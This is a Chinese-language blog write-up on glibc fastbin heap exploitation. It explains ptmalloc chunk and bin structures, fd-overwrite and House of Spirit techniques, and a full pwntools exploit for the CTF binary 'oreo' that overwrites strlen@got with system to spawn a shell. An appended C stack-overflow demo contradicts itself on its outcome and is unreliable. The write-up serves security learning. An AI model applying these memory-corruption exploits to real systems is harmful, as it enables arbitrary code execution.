Linux 堆溢出之fastbin实例

0x00. 前言

最近在学习Linux上的堆溢出原理以及利用技巧,深深了解到堆溢出的复杂之处,以及各种层出不穷的技巧。然时间比较紧,只能慢慢学,现记录下学习fastbin的心得。

0x01. fastbin原理

关于fastbin的利用原理,网上已经有很多文章介绍,简要介绍下需要了解的知识点。
Linux的堆管理器ptmalloc,将内存划分为多个chunk,以chunk为单位分配个用户。为了提高内存分配的效率,ptmalloc又设计的一些数据结构帮助提高性能。正是由于提高效率,从而忽略了一些安全问题。
1) Linux下的堆块 chunk,为了提高效率,chunk头一般很小。chunk的种类: 已分配的块(allocated chunk)、空闲块(free chunk)、最高块(top chunk)、最后剩余块(Last Remainder chunk)。
一般空闲块头包含:前一个chunk的大小(pre_size)、本chunk的大小(size)、下一个块地址(fd)、上一个块地址(bk)。已分配的块不包含fd和bk字段,并且已分配的块还会使用下一个块的 pre_size字段。而且由于chunk的字节对齐,低位一般作为标志位,用于辅助chunk管理。如32位系统,堆块chunk大小是8字节对齐,其低3位(N|M|P):N表示此块是否属于main arean; M表示此块是否是mmap()创建的; P表示前块是否正在使用。
2) Linux下的堆块采用链表结构管理,glibc下实现叫做bins,有4中bins:fastbin、unsorted bin、small bin、large bin。其中fastbin主要用于高效的分配和回收比较小的内存块,采用LIFO形式的单链表结构。
32位系统中,用户的请求在16bytes到64bytes会被分配到fastbin中;64位系统中,用户的请求在32bytes到128bytes会被分配到fastbin中。其他的几种结构主要是用户管理一般块和较大块。

0x02. fastbin利用技巧

基于fastbin块LIFO的特点,我们可以先申请,然后释放,再申请就可以得到原来地址的块。但是这不能满足我们的需求,我们需要在将堆分配在可控地址。我们可以通过堆溢出更改已经申请块的fd,使其指向我们可控的地址,并且在可控地址上伪造假的fastbin结构。然后释放,再申请两次,第2次就可以得到分配在可控地址上的块。(覆盖fd)
还有一种方法直接修改free函数的参数,使free函数的参数为可控地址,然后在可控地址上伪造假的堆块。(House of Spirit)

0x03. fastbin实例

1) oreo
该题是个典型的fastbin,主要思路:在bss段构造假的fastbin块结构,然后利用fastbin分配堆块,并写入一个地址。第2次对这个可控位置写入数据,就可以达到往任意地址写任意数据(write anything anywhere)。利用ELF中的逻辑,先通过地址泄漏得到system函数的地址,然后利用fastbin覆盖strlen@got.plt地址为system函数地址。这其中有个技巧,第二次写入数据是”p32(system_addr) + ‘;/bin/sh’ “,在覆盖strlen@got.plt的同时,后面system函数执行时,会分开执行,system(system_addr)和system(“/bin/sh”),最终会成功获得shell。
漏洞利用代码:

#!/usr/bin/env python

from pwn import *

DEBUG = 1
if DEBUG:
    context.log_level = 'debug'
    p = process('./oreo')
    gdb.attach(p, execute='b *0x8048a4d')
else:
    p = remote("xxxx", 1008)


def add_rifles(name, description):
    p.sendline('1')
    p.sendline(name)
    p.sendline(description)

def order_rifles():
    p.sendline('3')

def leave_message(msg):
    p.sendline('4')
    p.sendline(msg)

def show_rifles():
    p.sendline('2')


def main():

    fgets_got = 0x0804A23C
    strlen_got = 0x0804A250
    msg_addr = 0x804A2A8

    p.recv(0x261)
    for i in range(0x3f):
        add_rifles("abc", "test")

    # leak system address 
    payload1 = 'A' * 27 + p32(fgets_got)
    add_rifles(payload1, 'B' * 25)
    show_rifles()
    p.recvuntil("===================================")
    p.recvuntil("===================================")
    p.recvuntil("Name: ")
    p.recvuntil("\nDescription: ")
    fgets_addr = u32(p.recv(4))
    print "fgets address: %x" % fgets_addr
    system_addr = fgets_addr - 0x232f0

    # malloc chunk 
    payload2 = 'A' * 27 + p32(msg_addr)
    add_rifles(payload2, 'B' * 25)

    # construct fake chunk
    payload3 = p32(0x0) *9 + p32(0x49)
    leave_message(payload3)

    #free chunk
    order_rifles()

    #fastbin: malloc new chunk at address 0x804a2a8
    add_rifles('name', p32(strlen_got))

    #write strlen_got with system_addr and execute strlen('p32(system_addr);/bin/sh')
    leave_message(p32(system_addr) + ';/bin/sh')

    p.interactive()

if __name__ == '__main__':
    main()
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1. 溢出实例: ```c #include <stdio.h> #include <stdlib.h> void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 21; (*ret) += 8; } int main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; } ``` 上述代码中,`function` 函数中声明了两个缓冲区 `buffer1` 和 `buffer2`,它们的大小分别为 5 和 10 字节。在 `function` 函数中,我们试图通过 `(*ret) += 8;` 来修改返回地址,从而实现栈溢出攻击。运行此程序时,会发现输出结果为 1,也就是说攻击成功。 2. 如何在 Linux 中发现溢出问题? 在 Linux 中,我们可以使用 `gdb` 来调试程序,以检查是否存在溢出问题。具体步骤如下: - 编译程序时添加 `-g` 选项,以便在调试时可以获取更多的信息。 - 使用 `gdb` 打开可执行文件。 - 使用 `run` 命令运行程序,程序会在 `function` 函数中出现段错误并崩溃。 - 使用 `backtrace` 命令查看函数调用栈,可以看到 `function` 函数中的返回地址已经被修改。 - 使用 `info frame` 命令查看当前帧的信息,可以看到修改后的返回地址。 - 使用 `info registers` 命令查看寄存器的值,可以看到 `eip` 寄存器的值已经被修改。 - 使用 `x/20x $esp` 命令查看栈的内容,可以看到返回地址已经被修改。 通过以上步骤,我们可以发现程序存在溢出问题,并进一步分析和修复这个问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值